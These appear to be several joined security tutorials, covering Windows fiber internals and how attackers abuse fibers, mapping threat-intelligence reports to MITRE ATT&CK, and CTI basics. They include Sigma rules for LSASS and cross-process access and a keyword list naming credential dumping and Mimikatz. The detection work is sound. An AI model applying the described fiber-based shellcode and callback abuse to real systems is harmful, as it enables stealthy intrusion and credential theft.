Enable Command Line Auditing via GPO (Audit Process Creation → include command line, EID 4688) and forward Microsoft-Windows-PowerShell/Operational (EID 4104) script-block logs to the SIEM. Keep the monitoring tier one-way and unreachable from the attacker subnet.

MITRE ATT&CK Mapping

13. Tools for Red Team Lab Analysis

Summary

• A red team lab is a closed, segmented environment where authorized operators rehearse C2 tradecraft while the blue stack records every event it generates.
• Tiered host-only networks, snapshot discipline, and a Type-2 hypervisor make scenarios isolated and repeatable.
• A team server must never be internet-facing; disposable redirectors front it and are rebuilt with infrastructure-as-code when burned.
• OPSEC is architecture — operator VPN overlays, separated phishing/C2/payload infrastructure, aged domains, and rotated IPs keep operations deniable.
• Detect C2 with Sysmon EID 3/22, jitter and named-pipe analysis, and Sigma rules, mapping every primitive back to MITRE TA0011.

Related Tutorials

• OPSEC Principles for Red Teamers: Staying Undetected
• Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• Command and Control, Tactic TA0011 — MITRE ATT&CK Enterprise
• Sliver C2 Framework — MITRE ATT&CK Software S0633
• External C2 Listener Infrastructure — Cobalt Strike Official Docs
• Red Team Infrastructure: The Full Picture — From Domain to Beacon (DbgMan)

Fibers: User-Mode Cooperative Threads

Objective: Understand the internals of Windows fibers — how they relate to the TEB, the undocumented FIBER structure, Fiber Local Storage, and the cooperative context switch performed entirely in user mode — so defenders can recognize and detect adversarial use of fiber APIs for stealthy in-process execution.

1. Cooperative vs. Preemptive Scheduling

A thread is the Windows kernel’s unit of execution. The scheduler picks ready threads, slices CPU time, and preempts them at quantum boundaries — all driven from ntoskrnl.exe. A fiber is different: it is a unit of execution that the kernel does not know about. Fibers run inside threads, and the application — not the OS — chooses when one fiber yields and another runs.

Two consequences follow immediately:

• A fiber switch never crosses the user/kernel boundary. No syscall is issued. SwitchToFiber lives in KernelBase.dll and returns without touching ntoskrnl.
• From the kernel’s perspective, all activity performed by a fiber is attributed to the thread that runs it. Accessing TLS from a fiber accesses the thread’s TLS, not a per-fiber slot.

This is the root of both the elegance and the security relevance of fibers: they are coroutines built directly into the Win32 ABI, with stack pivots and register saves the kernel cannot see.

2. The Fiber Execution Model

A fiber consists of three things: a stack, a saved CPU context (registers, instruction pointer, SEH frame), and a start routine that receives an opaque parameter. A thread becomes “fiber-aware” by calling ConvertThreadToFiber, at which point that thread is permanently a fiber host until it calls ConvertFiberToThread.

These rules are load-bearing — most fiber bugs (and several known abuse primitives) come from violating them.

3. TEB Layout and the FIBER Structure

The Thread Environment Block (TEB) tracks the per-thread fiber state. Three fields matter:

ConvertThreadToFiberEx calls NtCurrentTeb(), checks Teb->HasFiberData, and if the thread is already a fiber returns with ERROR_ALREADY_FIBER. Otherwise it allocates a FIBER structure on the process heap via RtlAllocateHeap and stores its address in NtTib.FiberData.

The FIBER struct itself is not officially documented. The shape below is reconstructed from ReactOS sources and public symbols and is subject to change across Windows versions:

// Reconstructed from public symbols / ReactOS — illustrative only.
typedef struct _FIBER {
    PVOID    FiberData;          // lpParameter passed at creation
    PVOID    ExceptionList;      // Top of SEH chain (NT_TIB.ExceptionList)
    PVOID    StackBase;          // High end of the fiber stack
    PVOID    StackLimit;         // Low end (guard page)
    PVOID    DeallocationStack;  // Original VirtualAlloc base
    CONTEXT  FiberContext;       // Saved CPU state: RIP, RSP, RBP, RBX, ...
    ULONG    FiberFlags;         // FIBER_FLAG_FLOAT_SWITCH, etc.
    PVOID    ActivationContext;  // Per-fiber activation context stack
    PVOID    FlsSlots;           // Per-fiber FLS slot array
} FIBER, *PFIBER;

You must never read or write this structure directly. The Win32 fiber functions manage its contents; treating the returned LPVOID as opaque is part of the contract.

4. The Core Fiber API

The full surface is small. Most of winbase.h and fibersapi.h boils down to these functions:

The exact CreateFiber signature, per MSDN:

LPVOID CreateFiber(
    SIZE_T                dwStackSize,    // 0 = default, grows up to 1 MB
    LPFIBER_START_ROUTINE lpStartAddress, // void StartRoutine(LPVOID lpParameter)
    LPVOID                lpParameter     // passed to the fiber function
);

GetCurrentFiber and GetFiberData are compiler intrinsics on MSVC — they inline directly to a gs:[0x20]/fs:[0x10] read of NtTib.FiberData. They produce no import thunk and no CALL instruction, which has direct consequences for IAT-based detection.

5. Fiber Lifecycle: A Minimal Example

This walks the canonical create → switch → yield → delete sequence. Note how g_mainFiber is the fiber identity of the original thread, returned by ConvertThreadToFiber.

#include <windows.h>
#include <stdio.h>

LPVOID g_mainFiber  = NULL;
LPVOID g_workFiber  = NULL;

VOID CALLBACK WorkerFiberProc(LPVOID lpParam) {
    printf("[worker] running on fiber %p, param=%p\n",
           GetCurrentFiber(), lpParam);

    // Cooperative yield — control returns to the main fiber.
    SwitchToFiber(g_mainFiber);

    printf("[worker] resumed; returning will ExitThread()\n");
    SwitchToFiber(g_mainFiber);   // never let the routine return
}

int main(void) {
    // Promote thread; TEB->HasFiberData becomes 1.
    g_mainFiber = ConvertThreadToFiber(NULL);

    // 64 KiB stack; entry = WorkerFiberProc; param = 0xDEADBEEF.
    g_workFiber = CreateFiber(0x10000, WorkerFiberProc, (LPVOID)0xDEADBEEF);

    SwitchToFiber(g_workFiber);   // first run of worker
    printf("[main] back from worker\n");
    SwitchToFiber(g_workFiber);   // resume worker

    DeleteFiber(g_workFiber);     // safe: not the running fiber
    ConvertFiberToThread();       // demote; release fiber bookkeeping
    return 0;
}

Forgetting ConvertFiberToThread leaks the main fiber’s FIBER allocation on the process heap. Forgetting to yield back before the worker returns terminates the host thread via ExitThread.

6. Context Switching Internals

SwitchToFiber is the heart of the API. Conceptually, it performs:

1. Save the current CPU state (RBX, RBP, RDI, RSI, R12–R15, RSP, RIP on x64) into the current fiber’s FiberContext.
2. Save the SEH chain head (NtTib.ExceptionList) and stack bounds (StackBase, StackLimit) into the current FIBER.
3. If FIBER_FLAG_FLOAT_SWITCH is set, save the XMM/MMX/x87 state.
4. Update NtTib.FiberData to point at the target FIBER.
5. Restore the target fiber’s stack bounds, SEH chain, FLS pointer, and CPU registers.
6. Return to the saved instruction pointer of the target — execution resumes there on the target’s stack.

Critically, this is a pure user-mode operation. No syscall, no int 2e, no ETW event from Microsoft-Windows-Kernel-Process. The host thread’s kernel-visible state (KTHREAD, ETHREAD) is unchanged; only RIP/RSP move from the kernel’s view.

; Conceptual sketch — SwitchToFiber x64 prologue
mov     gs:[0x20], rcx          ; NtTib.FiberData = target
mov     [rax + FiberContextOff + Rsp], rsp
mov     [rax + FiberContextOff + Rip], <return addr>
; ... restore target ...
mov     rsp, [rcx + FiberContextOff + Rsp]
jmp     qword [rcx + FiberContextOff + Rip]

7. Fiber Local Storage (FLS)

TLS is per-thread. During a fiber switch the TEB’s TLS array is not swapped, so two fibers sharing a thread share TLS — a classic source of corruption when porting thread-based libraries to fibers. FLS solves this: it is per-fiber, and SwitchToFiber updates TEB->FlsData to the incoming fiber’s slot array.

The destructor callback pointers are kept process-wide in PEB->FlsCallback. They fire on fiber deletion and thread exit, and — as covered below — they are a known abuse target.

DWORD g_flsIndex;

VOID WINAPI OnFlsDestroy(PVOID p) {
    HeapFree(GetProcessHeap(), 0, p);
}

VOID CALLBACK FiberA(LPVOID _) {
    char *buf = (char*)HeapAlloc(GetProcessHeap(), 0, 32);
    lstrcpyA(buf, "fiber-A-private");
    FlsSetValue(g_flsIndex, buf);
    SwitchToFiber(g_mainFiber);
    printf("[A] still mine: %s\n", (char*)FlsGetValue(g_flsIndex));
    SwitchToFiber(g_mainFiber);
}

int wmain(void) {
    g_mainFiber = ConvertThreadToFiber(NULL);
    g_flsIndex  = FlsAlloc(OnFlsDestroy);
    // ... create FiberA, FiberB, switch between them ...
    // Each fiber sees its own FlsGetValue(g_flsIndex) result.
}

8. Building a Round-Robin Cooperative Scheduler

Fibers shine when modeling cooperative pipelines: parsers, generators, state machines. A trivial scheduler is a dispatcher fiber that round-robins through worker fibers, each of which yields back via SwitchToFiber(g_mainFiber).

#define N 3
LPVOID g_workers[N];
LPVOID g_mainFiber;

VOID CALLBACK Worker(LPVOID id) {
    for (int i = 0; i < 4; ++i) {
        printf("[worker %llu] step %d\n", (ULONG_PTR)id, i);
        SwitchToFiber(g_mainFiber);   // yield
    }
    // Final yield — never return from a fiber routine.
    SwitchToFiber(g_mainFiber);
}

int main(void) {
    g_mainFiber = ConvertThreadToFiber(NULL);
    for (ULONG_PTR i = 0; i < N; ++i)
        g_workers[i] = CreateFiber(0, Worker, (LPVOID)i);

    for (int round = 0; round < 4; ++round)
        for (int i = 0; i < N; ++i)
            SwitchToFiber(g_workers[i]);

    for (int i = 0; i < N; ++i) DeleteFiber(g_workers[i]);
    ConvertFiberToThread();
    return 0;
}

This is the same pattern Microsoft SQL Server used for its historical “lightweight pooling” / fiber mode — one OS thread, many SQL user contexts.

9. Legitimate Use Cases and Pitfalls

Pitfalls are sharp:

• COM is apartment-affinitive to threads, not fibers. Initializing COM on one fiber and using it from another corrupts COM bookkeeping.
• CRT and many MS libraries stash state in TLS. Switching fibers leaves that state behind, producing subtle corruption.
• Critical sections record the thread as the owner — a different fiber on the same thread re-enters without blocking.
• Stack-cookies and __try/__except rely on SEH chain integrity; SwitchToFiber handles this, but raw RtlInstallFunctionTableCallback on a fiber stack must use the fiber’s StackBase/StackLimit.

10. Common Attacker Techniques

Fibers are attractive to adversaries because the entire execution primitive lives in user mode — no NtCreateThread, no CreateRemoteThread, no kernel ETW event for the act of switching execution. The patterns below are documented in public threat-research literature; described conceptually here for detection engineers.

The base ATT&CK parent for fiber-based in-process execution is T1055 Process Injection; MITRE has not assigned a fiber-specific sub-technique, so the closest analogue is T1055.004 (APC) which shares the “queue execution to a thread’s user-mode context” model.

11. Defensive Strategies & Detection

There is no kernel event for SwitchToFiber. Detection must focus on the setup that precedes fiber-based execution (RWX allocation, suspicious entry points) and on memory forensics of fiber state at rest.

Sysmon coverage for the surrounding behavior:

ETW providers worth subscribing:

• Microsoft-Windows-Threat-Intelligence — flags VirtualAlloc/VirtualProtect with PAGE_EXECUTE_*, the precursor to fiber shellcode staging.
• Microsoft-Windows-Kernel-Process — does not see fiber switches but covers process/thread lifecycle.
• A user-mode consumer hooking NtAllocateVirtualMemory + NtProtectVirtualMemory gives the strongest pre-execution signal.

Memory forensics indicators:

• Walk TEB.NtTib.FiberData on every thread. Threads with HasFiberData == 1 in processes that have no business using fibers are immediately interesting.
• Use Volatility malfind to surface private, executable, non-image-backed pages — the target of a fiber-staged payload.
• Dump PEB->FlsCallback and verify every entry resolves to an expected module’s .text section.

Sigma sketch for the cross-process precursor to fiber-based payload staging:

title: Suspicious ProcessAccess Preceding User-Mode Fiber Execution
id: 8f5c1d6e-3c7b-4b1f-9e1e-7e3e6e2b0a1f
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    GrantedAccess:
      - '0x1fffff'   # PROCESS_ALL_ACCESS
      - '0x1f0fff'
    TargetImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  filter_legit:
    SourceImage|endswith:
      - '\MsMpEng.exe'
      - '\SenseIR.exe'
  condition: selection and not filter_legit
level: high
tags:
  - attack.t1055
  - attack.t1106

Hardening:

• SetProcessMitigationPolicy with ProcessDynamicCodePolicy (Arbitrary Code Guard) blocks creation of new executable pages, defeating fiber shellcode staging.
• Control Flow Guard restricts indirect-call targets, narrowing SwitchToFiber and FLS-callback abuse to valid entry points.
• HVCI / memory integrity prevents kernel-side tampering of FIBER structures via vulnerable drivers.
• WDAC / AppLocker policies that deny PAGE_EXECUTE_* allocations on non-JIT processes raise the cost of any in-process execution primitive.

12. Tools for Fiber Analysis

A minimal WinDbg recipe to surface fiber-hosting threads in a captured process:

0:000> !teb
TEB at 000000abcd123000
    ...
    NtTib.FiberData:  0000020fabcde000
    ...
0:000> dt ntdll!_TEB @$teb HasFiberData
0:000> dq 0000020fabcde000 L40   ; raw FIBER bytes — layout version-dependent

13. MITRE ATT&CK Mapping

MITRE ATT&CK does not currently list a “Fiber Injection” sub-technique (current as of v16.1). Vendor research treats fiber-based execution as a variant of T1055; map accordingly.

Summary

• A fiber is a user-mode cooperative thread invisible to the kernel scheduler — SwitchToFiber performs a stack and register swap entirely in KernelBase.dll with no syscall.
• The TEB exposes the fiber state via NtTib.FiberData, HasFiberData, and FlsData; the FIBER structure itself is undocumented and version-dependent.
• TLS is per-thread and is not swapped on a fiber switch; FLS is per-fiber and is swapped, with destructor callbacks tracked in PEB->FlsCallback.
• Adversaries abuse fibers for in-process shellcode execution, ROP staging via the saved CONTEXT, and code execution via PEB->FlsCallback overwrites — none of which trigger thread-creation telemetry.
• Detect via pre-execution signals (ETW TI on RWX allocations, Sysmon Event IDs 8/10/25), memory forensics on private executable regions and FlsCallback integrity, and hardening with ACG, CFG, and HVCI.

Related Tutorials

• System Calls and SSDT: How User Mode Reaches the Kernel
• User Mode vs Kernel Mode: Privilege Rings and the Boundary
• Threads and the TEB (Thread Environment Block)
• Access Tokens and Privileges: The Kernel’s Security Context
• SIDs and Security Descriptors: Identity in Windows Security

References

• Fibers – Win32 apps | Microsoft Learn
• Using Fibers – Win32 apps | Microsoft Learn
• CreateFiber function (winbase.h) – Win32 apps | Microsoft Learn
• ConvertThreadToFiber function (winbase.h) – Win32 apps | Microsoft Learn
• Process Injection, Technique T1055 – Enterprise | MITRE ATT&CK®
• About Processes and Threads – Win32 apps | Microsoft Learn

Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

Objective: Learn to parse a real-world cyber threat intelligence (CTI) report and systematically translate its narrative behaviors into precise MITRE ATT&CK tactics, techniques, and sub-techniques — producing an accurate, reusable TTP layer that drives detection engineering, threat hunting, and adversary emulation planning.

1. Why TTP Mapping Matters More Than IOCs

Traditional Indicators of Compromise (IOCs) — hashes, IP addresses, domains — are brittle. An adversary rotates infrastructure and recompiles payloads cheaply, so a hash-based detection expires the moment the campaign moves. Tactics, Techniques, and Procedures (TTPs) describe behavior, which is far costlier for an adversary to change. Re-tooling how you dump LSASS or beacon over HTTPS is expensive; swapping a C2 IP is trivial.

MITRE ATT&CK encodes this behavioral layer into a shared vocabulary. When you map a CTI report to ATT&CK, you convert prose (“the actor ran an encoded PowerShell loader”) into a stable, machine-referenceable identifier (T1059.001) that every tool, team, and report understands. That identifier outlives the campaign and feeds detection, hunting, and emulation directly.

2. ATT&CK Architecture: Tactics, Techniques, Sub-techniques, and Procedures

ATT&CK is a knowledge base of adversary behavior built on three structural levels.

A procedure is the real-world, in-the-wild instance of a technique — the exact way a named group performed it. Procedures appear on each technique page as cited examples.

The 14 Enterprise Tactics

Technique IDs follow the T#### convention; sub-techniques append .### (e.g., T1021, T1059.003). These identifiers standardize communication across detection engineering, intelligence reporting, and red team planning. ATT&CK is versioned — IDs can be deprecated or renumbered across major releases — so always verify against the live matrix at attack.mitre.org.

3. Sourcing and Preparing a CTI Report for Analysis

CTI arrives at three altitudes. Strategic intelligence describes who and why at a board level. Operational intelligence describes campaign-level capability and intent. Tactical intelligence — vendor incident reports, CISA advisories, ISAC bulletins, OSINT write-ups — describes the granular actions you can actually map.

A report is mappable when it describes what the adversary did, not just what it was. Strip attribution bias: the goal is behavior, not a flag. Before mapping, read the full report once end-to-end, then segment the narrative into discrete adversary actions. Each action is a candidate for one or more ATT&CK techniques.

4. The Four-Step Mapping Methodology

CISA’s Best Practices for MITRE ATT&CK Mapping defines a canonical four-step loop. Run it once per behavior.

1. Identify the behavior — extract what the adversary did from the narrative, quoting the source verbatim.
2. Research the behavior — understand the technical action being described; resolve vendor jargon to a concrete mechanism.
3. Translate the behavior into a tactic — identify the adversary’s goal (the why).
4. Identify the technique and sub-technique — match the how against the matrix.

Worked example. Take the narrative: “The actor delivered a spearphishing attachment, then executed an obfuscated PowerShell loader and accessed LSASS memory with a renamed procdump binary.”

Automation helps the first pass. The script below surfaces candidate tactics from raw text — a triage aid, never a final answer.

# First-pass triage only — surfaces CANDIDATE tactics for manual review.
TACTIC_KEYWORDS = {
    "TA0001": ["phishing", "spearphishing", "supply chain", "exploited public"],
    "TA0002": ["powershell", "executed", "ran script", "command interpreter"],
    "TA0005": ["obfuscated", "base64", "encoded", "disabled logging"],
    "TA0006": ["lsass", "credential", "dumped", "mimikatz"],
    "TA0011": ["beacon", "c2", "https post", "command and control"],
}

def candidate_tactics(report_text: str):
    text = report_text.lower()
    return {ta: [w for w in words if w in text]
            for ta, words in TACTIC_KEYWORDS.items()
            if any(w in text for w in words)}

excerpt = ("The actor used a spearphishing attachment, then ran an "
           "obfuscated PowerShell loader and dumped LSASS memory.")
for ta, words in candidate_tactics(excerpt).items():
    print(ta, "->", words)

If a sub-technique is not easily identifiable — and there may not be one in every case — review the procedure examples on the technique page. They link the source CTI reports behind the original mapping and may affirm your choice or suggest an alternative. There is always a possibility a behavior is a new technique not yet covered in ATT&CK.

5. Disambiguation: Choosing the Right Technique When Multiple Apply

Ambiguity is the hard part. One behavior frequently maps to several tactics. T1078 Valid Accounts spans Initial Access (TA0001), Persistence (TA0003), Privilege Escalation (TA0004), and Defense Evasion (TA0005) — the correct tactic depends on what the account was used for in that step, not the account itself.

Rules of thumb:

• Map to the tactic that matches the adversary’s goal at that moment, not every goal the technique can serve.
• Prefer the technique level when the report lacks the detail to justify a sub-technique. Forcing T1003.001 when the report only says “stole credentials” is over-mapping.
• Use the procedure examples to calibrate. If your behavior reads nothing like the cited procedures, re-investigate.
• T1218 System Binary Proxy Execution and T1027 Obfuscated Files or Information often co-occur with execution techniques — record them as distinct Defense Evasion entries rather than collapsing them.

6. The Analyst Mapping Worksheet

The core analyst deliverable is a worksheet that preserves the audit trail from quote to ID. Confidence and rationale columns make the mapping reviewable.

This worksheet becomes the source of truth that all downstream artifacts — Navigator layers, Sigma rules, emulation plans — derive from.

7. Tooling: ATT&CK Navigator, Decider, and the STIX/TAXII API

ATT&CK Navigator is MITRE’s web tool for visually annotating the matrix. You represent a mapped TTP set as a versioned layer JSON — a portable, diff-able artifact you commit to version control.

{
  "name": "APT-Sample CTI Mapping",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "description": "TTPs extracted from CTI report; scored by confidence.",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d",
      "comment": "Spearphishing attachment delivered loader (High)" },
    { "techniqueID": "T1059.001", "score": 100, "color": "#e60d0d",
      "comment": "Obfuscated PowerShell stager (High)" },
    { "techniqueID": "T1003.001", "score": 75, "color": "#e68a0d",
      "comment": "LSASS access via renamed procdump (Medium)" }
  ]
}

CISA Decider eases disambiguation by asking a series of guided questions about adversary activity, walking you to the correct tactic, technique, or sub-technique — invaluable when an analyst is uncertain.

For programmatic work, query the public read-only TAXII 2.1 endpoint (https://attack-taxii.mitre.org/, Enterprise collection x-mitre-collection--1f5f1533-f617-4ca8-9ab4-6a02367fa019). The ATT&CK dataset is STIX 2.1 JSON: techniques are attack-pattern objects, groups are intrusion-set, software is malware / tool. Pull techniques attributed to a group to cross-check your mapping against MITRE’s own group profile.

from mitreattack.stix20 import MitreAttackData

# Load the Enterprise STIX 2.1 bundle (download once from attack-stix-data)
attack = MitreAttackData("enterprise-attack.json")

# Resolve a threat group alias to its intrusion-set object
group = attack.get_groups_by_alias("APT29")[0]

# Enumerate every technique attributed to the group
for t in attack.get_techniques_used_by_group(group["id"]):
    obj = t["object"]
    print(attack.get_attack_id(obj["id"]), "\t", obj["name"])

8. From TTP Map to Adversary Profile

Aggregate worksheets across an entire campaign to build an adversary profile. Correlate your mapped techniques against the relevant ATT&CK Groups page to validate consistency and surface techniques the actor is known to use but the report omitted. Score the aggregated layer by frequency or confidence to produce a TTP heat map, then prioritize against your priority intelligence requirements (PIRs). The heat map feeds directly into detection gap analysis.

import csv, json

# Load the mapped TTP layer and the internal detection inventory
layer = json.load(open("cti_layer.json"))
covered = set()
with open("detection_coverage.csv") as fh:            # cols: technique_id, rule_name
    for row in csv.DictReader(fh):
        covered.add(row["technique_id"])

print("TechniqueID\tCovered")
for t in layer["techniques"]:
    tid = t["techniqueID"]
    print(f"{tid}\t{tid in covered}")

9. Quality Assurance: Peer Review and Common Mapping Errors

A formal peer review of an annotated report shares perspectives, promotes learning, and improves accuracy. A second analyst routinely catches TTPs missed in the first pass and enforces mapping consistency across the team.

Watch for these recurring errors:

• Over-mapping — assigning techniques the report does not support.
• Under-mapping — missing key behaviors buried in the narrative.
• Conflating technique with tactic — recording a goal where a behavior belongs.
• Misidentifying sub-techniques — forcing .### granularity the source lacks.
• Mapping to deprecated techniques — always validate against the current ATT&CK version.

10. Common Attacker Techniques in CTI Reports

These behaviors dominate tactical CTI and should be in every analyst’s recognition vocabulary.

11. Defensive Strategies & Detection

The output of mapping is a prioritized list of behaviors to detect. Each ATT&CK technique page lists Data Sources (e.g., DS0009 Process, DS0011 Module, DS0017 Command, DS0022 File, DS0028 Logon Session, DS0029 Network Traffic) and Mitigations (e.g., M1038 Execution Prevention, M1026 Privileged Account Management). Pull these per technique to convert the map into telemetry requirements and hardening tasks.

Sysmon Events Tied to Mapped Behaviors

Enable the supporting Windows audit policies: Audit Process Creation (Event ID 4688 with command line), Audit Logon Events (4624/4625/4648 for T1078), Audit Object Access → SAM (4661 for T1003), and PowerShell Script Block Logging (4104 for T1059.001).

A Sigma rule operationalizes one mapped technique. Tags follow attack.t1003_001 (lowercase, underscore for the sub-technique separator) and attack.ta0006 for the tactic.

title: Cross-Process Access to LSASS Memory
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1410'
  condition: selection
tags:
  - attack.t1003_001
  - attack.ta0006
level: high

Feed the completed layer into DeTT&CT (Detect Tactics, Techniques & Combat Threats) to align mapped TTPs against your data source visibility and detection coverage — the natural follow-on to mapping. The same layer drives the red team emulation plan, ensuring offensive testing exercises the exact behaviors the CTI reported.

12. Tools for CTI Mapping Analysis

13. MITRE ATT&CK Mapping Reference

Summary

• CTI-to-ATT&CK mapping converts perishable IOCs into durable, behavioral TTPs that survive across campaigns and standardize defensive communication.
• ATT&CK is structured as tactics (the why), techniques (the how), and sub-techniques (granular methods), each with stable TA#### / T####.### identifiers.
• The CISA four-step loop — identify, research, translate to tactic, identify technique — produces an auditable mapping worksheet that anchors every downstream artifact.
• Navigator layers, CISA Decider, and the public TAXII 2.1 STIX endpoint operationalize and version-control the mapping; peer review guards against over-mapping, under-mapping, and tactic/technique confusion.
• The finished TTP map drives detection engineering directly — pulling ATT&CK Data Sources, Sysmon Event IDs, audit policies, and Sigma rules per technique, and feeding DeTT&CT coverage analysis and emulation plans.

Related Tutorials

• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Passive OSINT: Mapping the Target Without Touching It

References

• Best Practices for MITRE ATT&CK® Mapping (CISA)
• MITRE ATT&CK® – Get Started: Threat Intelligence
• MITRE ATT&CK® – Get Started: Adversary Emulation and Red Teaming
• MITRE ATT&CK® – Adversary Emulation Plans
• Getting Started with ATT&CK: Threat Intelligence (Official MITRE ATT&CK® Blog)
• Center for Threat-Informed Defense – Adversary Emulation Library (GitHub)

Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle

Objective: Understand what Cyber Threat Intelligence is, the four intelligence types, the six-phase intelligence lifecycle, primary collection sources, the exchange standards (STIX/TAXII/TLP), and the analytic frameworks — Kill Chain, Diamond Model, Pyramid of Pain, and MITRE ATT&CK — that let defenders and authorized red teamers operationalize intelligence into detection.

1. What Is CTI? (And What It Is Not)

Cyber Threat Intelligence is evidence-based knowledge about adversaries — their capabilities, infrastructure, motivations, and behaviors — refined to support decisions. CTI is not a raw feed of IP addresses, and it is not a SIEM alert. It is the product of a deliberate analytic process.

The distinction is a pipeline:

• Data — discrete, context-free observations (a hash, a domain, a log line).
• Information — data aggregated and given context (a domain resolving to a host serving a known dropper).
• Intelligence — analyzed information answering a stakeholder question (“Is the group behind this dropper targeting our sector, and can our controls detect them?”).

CTI exists to reduce uncertainty for a decision-maker. If a piece of output does not change a defensive action, an investment, or a hunt hypothesis, it is information — not intelligence.

2. The Four Intelligence Types

CTI is stratified by audience and shelf-life. The four-type model (used by NIST SP 800-150 and several vendors) cleanly separates human-consumable TTPs from machine-consumable IOCs.

Trace one actor across all four levels. Strategic: “An espionage group aligned with Nation X is escalating against the energy sector.” Operational: “That group is running a spearphishing campaign against utility OT vendors this quarter.” Tactical: “They use T1566.001 (Spearphishing Attachment) followed by T1059.001 (PowerShell) for execution.” Technical: “The current dropper SHA-256 is e3b0c4... and the C2 domain is cdn-update.example.”

Note the inversion of value and durability: technical IOCs are the most actionable but decay in minutes; strategic intelligence shapes decisions for years.

3. CTI Sources: Where the Data Comes From

CTI is collected across the classic intelligence disciplines, adapted to the cyber domain.

Additional subcategories include measurement-and-signature intelligence, social-media intelligence (SOCMINT), geospatial intelligence (GEOINT), and Deep/Dark Web intelligence.

Sharing communities multiply source value. Sharing anonymized insights with trusted partners — notably Information Sharing and Analysis Centers (ISACs) — helps peers prepare for the same threats. Sector examples include FS-ISAC (financial services), H-ISAC (health), and E-ISAC (electricity). Membership turns one organization’s incident into the whole sector’s early warning.

4. The Intelligence Lifecycle (Six Phases)

The lifecycle is a continuous loop. Output from one cycle refines the inputs of the next.

The feedback loop is what separates an intelligence program from an IOC firehose. If the SOC reports that disseminated intelligence never fired a single detection, the next planning phase re-scopes collection.

Governing standard: NIST SP 800-150 (Guide to Cyber Threat Information Sharing) establishes governance, legal, and technical best practices for inter-organizational sharing. ISO/IEC 27001:2022 Control 5.7 formally requires organizations to collect, analyze, and share relevant threat intelligence — making a documented lifecycle a compliance artifact, not just good hygiene.

5. Intelligence Formats & Sharing Standards

Machine-to-machine sharing requires structure. Four standards govern format, transport, and handling.

STIX models intelligence as graph objects. STIX Domain Objects (SDOs) are the nodes; STIX Relationship Objects (SROs) are the edges.

Building a STIX 2.1 Bundle (Python):

from stix2 import ThreatActor, AttackPattern, Relationship, Bundle

actor = ThreatActor(
    name="Fictitious Bear",
    description="Illustrative espionage group (teaching example)",
    threat_actor_types=["nation-state"],
)

technique = AttackPattern(
    name="Spearphishing Attachment",
    external_references=[{
        "source_name": "mitre-attack",
        "external_id": "T1566.001",   # technique reference
    }],
)

# SRO: actor 'uses' technique
uses = Relationship(actor, "uses", technique)

bundle = Bundle(actor, technique, uses)
print(bundle.serialize(pretty=True))

A minimal STIX 2.1 Indicator (JSON):

{
  "type": "indicator",
  "spec_version": "2.1",
  "id": "indicator--8e2e2d2b-17d4-4cbf-938f-98ee46b3cd3f",
  "created": "2026-01-15T12:00:00.000Z",
  "modified": "2026-01-15T12:00:00.000Z",
  "name": "Dropper file hash (fictitious)",
  "indicator_types": ["malicious-activity"],
  "pattern": "[file:hashes.'SHA-256' = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855']",
  "pattern_type": "stix",
  "valid_from": "2026-01-15T12:00:00Z"
}

TLP discipline is operational, not decorative. TLP:RED intelligence must never be imported into a shared SIEM tenant or multi-tenant TIP. TAXII 2.1 collections are pulled over HTTPS with a bearer token (Authorization: Bearer <token>); enforce TLP at ingestion so a marking can never be stripped downstream.

6. Analytic Frameworks: Kill Chain, Diamond Model, Pyramid of Pain

Frameworks impose structure on raw observations. Each answers a different question.

The Lockheed Martin Cyber Kill Chain (Hutchins et al., 2011) models an intrusion as seven sequential phases: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Use it to check coverage balance — an adversary who evades detection at Delivery should still trip a control at C2.

The Diamond Model of Intrusion Analysis (Caltagirone, Pendergast, Betz — articulated 2006, published 2013) conceptualizes any event as relationships between four vertices: Adversary, Capability, Infrastructure, Victim. It is predictive: known three vertices often imply the fourth.

The Pyramid of Pain (David Bianco, 2013) ranks indicators by how much pain their loss causes the adversary:

                    /\
                   /  \   TTPs ............... hardest to change (apex)
                  /----\
                 / Tools \  Cobalt Strike, Mimikatz, malware families
                /--------\
               / Network &  \  JA3, URI patterns, registry keys, named pipes
              /  Host Artifacts\
             /------------------\
            /   Domain Names      \  trivial to rotate
           /----------------------\
          /  IP Addresses           \  trivial to rotate
         /--------------------------\
        /   Hash Values               \  changed in seconds (base)
       /------------------------------\

Hashes and IPs sit at the base — trivial detection value, replaced in seconds. TTPs occupy the apex: forcing an adversary to abandon PowerShell-based execution or spearphishing imposes real engineering cost. This is the strategic argument for behavior-based detection.

7. MITRE ATT&CK as a CTI Backbone

MITRE ATT&CK is a globally accessible knowledge base of adversary behaviors built from real-world observation. Unlike IOC-centric models, it focuses on TTPs — a behavioral approach. Every technique carries a stable ID such as T1021 or T1059.003, giving detection engineering, reporting, and red-team planning a shared vocabulary.

Key ATT&CK objects in CTI workflows:

• Groups (intrusion-set) — e.g., APT29 (G0016), APT41 (G0096), Lazarus Group (G0032)
• Software (malware/tool) — e.g., Cobalt Strike (S0154), Mimikatz (S0002)
• Campaigns (campaign) — e.g., C0017, C0018
• Techniques — e.g., T1566 (Phishing), T1071.001 (Web Protocols C2), T1003 (OS Credential Dumping)

ATT&CK ships as STIX, so it is programmatically queryable. Enumerate every technique attributed to a group:

from mitreattack.stix20 import MitreAttackData

attack = MitreAttackData("enterprise-attack.json")
group = attack.get_groups_by_alias("APT29")[0]
techniques = attack.get_techniques_used_by_group(group.id)

